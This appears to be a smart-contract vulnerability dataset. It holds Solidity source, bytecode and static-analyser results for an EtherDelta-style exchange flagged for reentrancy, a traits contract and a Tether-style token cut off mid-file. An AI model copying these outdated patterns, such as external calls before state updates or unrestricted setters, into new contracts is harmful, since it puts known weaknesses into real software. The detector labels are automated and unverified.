, "Indecision"
, "Abundance"
, "Dappled things"
, "Necromancy"
, "Ornithology"
, "Phantasmagoria"
, "The Lost Wizard"
, "Having the last word"
, "Sword throwing, watery tarts"
, "Ominous noises"
, "Demons"
, "Asphyxiating"
, "Whatever looks rare"
, "Rare drawings of humanoid frogs"
, "Lasagna"
, "Dragon fossil collecting"
, "Spending gold on frivolous things"
, "The precious"
, "The idea of love"
, "Chaos"
, "Lifestream"
, "Geedis"
, "The gloaming"
, "Toadsong"
, "Experimental wizardry"
, "Magic, real and imagined"
, "Accepting lies in myth to access their truths"
, "Beautiful scams"
, "Variations on the right to remain silent"
, "Duneworms"
, "Legal loopholes"
];
function viewTrait(uint256 _id) external override view returns (string memory) {
return love[_id];
}
function totalTraits() external override view returns (uint256) {
return love.length;
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632dc4a03f1461003b57806372bbe04714610064575b600080fd5b61004e610049366004610132565b610075565b60405161005b919061014a565b60405180910390f35b60005460405190815260200161005b565b60606000828154811061009857634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546100ad9061019d565b80601f01602080910402602001604051908101604052809291908181526020018280546100d99061019d565b80156101265780601f106100fb57610100808354040283529160200191610126565b820191906000526020600020905b81548152906001019060200180831161010957829003601f168201915b50505050509050919050565b600060208284031215610143578081fd5b5035919050565b6000602080835283518082850152825b818110156101765785810183015185820160400152820161015a565b818111156101875783604083870101525b50601f01601f1916929092016040019392505050565b600181811c908216806101b157607f821691505b602082108114156101d257634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220c5ffd043237c3f9955b4049f3d70998a9d6eee4be11794c0a3b8cee86bd12f1c64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,153 |
0x949d1a0757803c51f2efffeb5472c861a898b8e8
|
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token {
function totalSupply() public returns (uint256);
function balanceOf(address) public returns (uint256) ;
function transfer(address, uint256) public returns (bool);
function transferFrom(address, address, uint256) public returns (bool);
function approve(address, uint256) public returns (bool);
function allowance(address, address) public returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public returns (uint256) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
constructor(ReserveToken) public {
minter = msg.sender;
}
function create(address account, uint amount) public {
if (msg.sender != minter) revert();
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) public {
if (msg.sender != minter) revert();
if (balances[account] < amount) revert();
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address) public returns(uint);
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) public {
accountLevels[user] = level;
}
function accountLevel(address user) public returns(uint) {
return accountLevels[user];
}
}
contract Amplbitcmedia is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
constructor(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() public {
revert();
}
function changeAdmin(address admin_) public {
if (msg.sender != admin) revert();
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) public {
if (msg.sender != admin) revert();
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) public {
if (msg.sender != admin) revert();
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) public {
if (msg.sender != admin) revert();
if (feeMake_ > feeMake) revert();
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) public {
if (msg.sender != admin) revert();
if (feeTake_ > feeTake || feeTake_ < feeRebate) revert();
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) public {
if (msg.sender != admin) revert();
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) revert();
feeRebate = feeRebate_;
}
function deposit() payable public {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) public{
if (tokens[0][msg.sender] < amount) revert();
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.send(amount)) revert();
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) public {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) revert();
if (!Token(token).transferFrom(msg.sender, this, amount)) revert();
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) public {
if (token==0) revert();
if (tokens[token][msg.sender] < amount) revert();
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) revert();
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) public constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
orders[msg.sender][hash] = true;
emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
//amount is in amountGet terms
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) revert();
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns(uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8, bytes32, bytes32) public constant returns(uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender)) revert();
orderFills[msg.sender][hash] = amountGet;
emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x6080604052600436106101535763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630a19b14a81146101655780630b927666146101b657806319774d43146101ea578063278b8c0e146102205780632e1a7d4d14610261578063338b5dea1461027957806346be96c31461029d578063508493bc146102e857806354d03b5c1461030f57806357786394146103275780635e1d7ae41461033c57806365e17c9d146103545780636c86888b1461038557806371ffcb16146103f3578063731c2f81146104145780638823a9c0146104295780638f283970146104415780639e281a9814610462578063bb5f462914610486578063c281309e146104aa578063d0e30db0146104bf578063e8f6bc2e146104c7578063f3412942146104e8578063f7888aec146104fd578063f851a44014610524578063fb6e155f14610539575b34801561015f57600080fd5b50600080fd5b34801561017157600080fd5b506101b4600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e43516610104356101243561014435610584565b005b3480156101c257600080fd5b506101b4600160a060020a03600435811690602435906044351660643560843560a43561093d565b3480156101f657600080fd5b5061020e600160a060020a0360043516602435610ac9565b60408051918252519081900360200190f35b34801561022c57600080fd5b506101b4600160a060020a03600435811690602435906044351660643560843560a43560ff60c4351660e43561010435610ae6565b34801561026d57600080fd5b506101b4600435610dc1565b34801561028557600080fd5b506101b4600160a060020a0360043516602435610ebc565b3480156102a957600080fd5b5061020e600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435611017565b3480156102f457600080fd5b5061020e600160a060020a0360043581169060243516611144565b34801561031b57600080fd5b506101b4600435611161565b34801561033357600080fd5b5061020e61118c565b34801561034857600080fd5b506101b4600435611192565b34801561036057600080fd5b506103696111c9565b60408051600160a060020a039092168252519081900360200190f35b34801561039157600080fd5b506103df600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43581169060ff60e435169061010435906101243590610144359061016435166111d8565b604080519115158252519081900360200190f35b3480156103ff57600080fd5b506101b4600160a060020a0360043516611242565b34801561042057600080fd5b5061020e611288565b34801561043557600080fd5b506101b460043561128e565b34801561044d57600080fd5b506101b4600160a060020a03600435166112c5565b34801561046e57600080fd5b506101b4600160a060020a036004351660243561130b565b34801561049257600080fd5b506103df600160a060020a03600435166024356114a6565b3480156104b657600080fd5b5061020e6114c6565b6101b46114cc565b3480156104d357600080fd5b506101b4600160a060020a036004351661155b565b3480156104f457600080fd5b506103696115a1565b34801561050957600080fd5b5061020e600160a060020a03600435811690602435166115b0565b34801561053057600080fd5b506103696115db565b34801561054557600080fd5b5061020e600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e4351661010435610124356115ea565b60006002308d8d8d8d8d8d6040516020018088600160a060020a0316600160a060020a03166c0100000000000000000000000002815260140187600160a060020a0316600160a060020a03166c0100000000000000000000000002815260140186815260200185600160a060020a0316600160a060020a03166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b6020831061066a5780518252601f19909201916020918201910161064b565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af11580156106ab573d6000803e3d6000fd5b5050506040513d60208110156106c057600080fd5b5051600160a060020a038716600090815260076020908152604080832084845290915290205490915060ff168061080e575085600160a060020a031660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b6020831061077d5780518252601f19909201916020918201910161075e565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff8e1683860152606083018d9052608083018c9052935160a08084019750919550601f1981019492819003909101925090865af11580156107f9573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b801561081a5750874311155b80156108545750600160a060020a03861660009081526008602090815260408083208484529091529020548b906108519084611905565b11155b151561085f57600080fd5b61086d8c8c8c8c8a87611929565b600160a060020a038616600090815260086020908152604080832084845290915290205461089b9083611905565b600160a060020a03871660009081526008602090815260408083208584529091529020557f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e8d83028115156108f057fe5b60408051600160a060020a03968716815260208101959095529285168484015204606083015291891660808201523360a082015290519081900360c00190a1505050505050505050505050565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808b1683026034850152604884018a905288169091026068830152607c8201869052609c820185905260bc8083018590528351808403909101815260dc90920192839052815160009360029392909182918401908083835b602083106109da5780518252601f1990920191602091820191016109bb565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af1158015610a1b573d6000803e3d6000fd5b5050506040513d6020811015610a3057600080fd5b5051336000818152600760209081526040808320858452825291829020805460ff191660011790558151600160a060020a038c811682529181018b905290891681830152606081018890526080810187905260a0810186905260c0810192909252519192507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e85919081900360e00190a150505050505050565b600860209081526000928352604080842090915290825290205481565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808e1683026034850152604884018d90528b169091026068830152607c8201899052609c820188905260bc8083018890528351808403909101815260dc90920192839052815160009360029392909182918401908083835b60208310610b835780518252601f199092019160209182019101610b64565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af1158015610bc4573d6000803e3d6000fd5b5050506040513d6020811015610bd957600080fd5b505133600090815260076020908152604080832084845290915290205490915060ff1680610d0e5750604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c80830185905283518084039091018152605c909201928390528151339360019392909182918401908083835b60208310610c7d5780518252601f199092019160209182019101610c5e565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff8d1683860152606083018c9052608083018b9052935160a08084019750919550601f1981019492819003909101925090865af1158015610cf9573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b1515610d1957600080fd5b3360008181526008602090815260408083208584528252918290208c90558151600160a060020a038e811682529181018d9052908b1681830152606081018a90526080810189905260a0810188905260c081019290925260ff861660e083015261010082018590526101208201849052517f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b0918190036101400190a150505050505050505050565b336000908152600080516020611c3b8339815191526020526040902054811115610dea57600080fd5b336000908152600080516020611c3b8339815191526020526040902054610e119082611c07565b336000818152600080516020611c3b8339815191526020526040808220939093559151909183156108fc02918491818181858888f193505050501515610e5657600080fd5b336000818152600080516020611c3b8339815191526020908152604080832054815193845291830193909352818301849052606082015290517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a150565b600160a060020a0382161515610ed157600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390529051600160a060020a038416916323b872dd9160648083019260209291908290030181600087803b158015610f3f57600080fd5b505af1158015610f53573d6000803e3d6000fd5b505050506040513d6020811015610f6957600080fd5b50511515610f7657600080fd5b600160a060020a0382166000908152600660209081526040808320338452909152902054610fa49082611905565b600160a060020a03831660008181526006602090815260408083203380855290835292819020859055805193845290830191909152818101849052606082019290925290517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15050565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808f1683026034850152604884018e90528c169091026068830152607c82018a9052609c820189905260bc8083018990528351808403909101815260dc9092019283905281516000938493600293909282918401908083835b602083106110b55780518252601f199092019160209182019101611096565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af11580156110f6573d6000803e3d6000fd5b5050506040513d602081101561110b57600080fd5b5051600160a060020a038716600090815260086020908152604080832084845290915290205492509050509a9950505050505050505050565b600660209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461117857600080fd5b60035481111561118757600080fd5b600355565b60035481565b600054600160a060020a031633146111a957600080fd5b6005548110806111ba575060045481115b156111c457600080fd5b600555565b600154600160a060020a031681565b600160a060020a03808d166000908152600660209081526040808320938516835292905290812054831180159061122057508261121d8e8e8e8e8e8e8e8e8e8e6115ea565b10155b151561122e57506000611232565b5060015b9c9b505050505050505050505050565b600054600160a060020a0316331461125957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055481565b600054600160a060020a031633146112a557600080fd5b6004548111806112b6575060055481105b156112c057600080fd5b600455565b600054600160a060020a031633146112dc57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a038216151561132057600080fd5b600160a060020a038216600090815260066020908152604080832033845290915290205481111561135057600080fd5b600160a060020a038216600090815260066020908152604080832033845290915290205461137e9082611c07565b600160a060020a0383166000818152600660209081526040808320338085529083528184209590955580517fa9059cbb00000000000000000000000000000000000000000000000000000000815260048101959095526024850186905251929363a9059cbb9360448083019491928390030190829087803b15801561140257600080fd5b505af1158015611416573d6000803e3d6000fd5b505050506040513d602081101561142c57600080fd5b5051151561143957600080fd5b600160a060020a03821660008181526006602090815260408083203380855290835292819020548151948552918401929092528282018490526060830152517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15050565b600760209081526000928352604080842090915290825290205460ff1681565b60045481565b336000908152600080516020611c3b83398151915260205260409020546114f39034611905565b336000818152600080516020611c3b8339815191526020908152604080832085905580519283529082019290925234818301526060810192909252517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a1565b600054600160a060020a0316331461157257600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600054600160a060020a031681565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808f1683026034850152604884018e90528c169091026068830152607c82018a9052609c820189905260bc8083018990528351808403909101815260dc909201928390528151600093849384938493600293918291908401908083835b6020831061168c5780518252601f19909201916020918201910161166d565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af11580156116cd573d6000803e3d6000fd5b5050506040513d60208110156116e257600080fd5b5051600160a060020a038916600090815260076020908152604080832084845290915290205490935060ff1680611855575087600160a060020a031660018460405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b6020831061179f5780518252601f199092019160209182019101611780565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611840573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b80156118615750894311155b151561187057600093506118f4565b600160a060020a038816600090815260086020908152604080832086845290915290205461189f908e90611c07565b600160a060020a03808e166000908152600660209081526040808320938d16835292905220549092508b906118d4908f611c19565b8115156118dd57fe5b049050808210156118f0578193506118f4565b8093505b5050509a9950505050505050505050565b600082820183811080159061191a5750828110155b151561192257fe5b9392505050565b600080600080670de0b6b3a764000061194486600354611c19565b81151561194d57fe5b049350670de0b6b3a764000061196586600454611c19565b81151561196e57fe5b600254919004935060009250600160a060020a031615611a5657600254604080517f1cbd0519000000000000000000000000000000000000000000000000000000008152600160a060020a03898116600483015291519190921691631cbd05199160248083019260209291908290030181600087803b1580156119f057600080fd5b505af1158015611a04573d6000803e3d6000fd5b505050506040513d6020811015611a1a57600080fd5b505190506001811415611a4957670de0b6b3a7640000611a3c86600554611c19565b811515611a4557fe5b0491505b8060021415611a56578291505b600160a060020a038a166000908152600660209081526040808320338452909152902054611a8d90611a888786611905565b611c07565b600160a060020a038b811660009081526006602090815260408083203384529091528082209390935590881681522054611ad990611ad4611ace8886611905565b87611c07565b611905565b600160a060020a038b811660009081526006602090815260408083208b851684529091528082209390935560015490911681522054611b2590611ad4611b1f8787611905565b85611c07565b600160a060020a03808c166000908152600660208181526040808420600154861685528252808420959095558c84168352908152838220928a168252919091522054611b85908a611b768a89611c19565b811515611b7f57fe5b04611c07565b600160a060020a038981166000908152600660209081526040808320938b16835292905281812092909255338252902054611bd4908a611bc58a89611c19565b811515611bce57fe5b04611905565b600160a060020a039098166000908152600660209081526040808320338452909152902097909755505050505050505050565b600082821115611c1357fe5b50900390565b600082820283158061191a5750828482811515611c3257fe5b041461192257fe0054cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8a165627a7a723058207bc764ab6d8f89c0646d13f8b3c999c4313f9001c45f6effa8cb55bfe9972f890029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,154 |
0x537edd52ebcb9f48ff2f8a28c51fcdb9d6a6e0d4
|
/**
*Submitted for verification at Etherscan.io on 2021-04-20
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
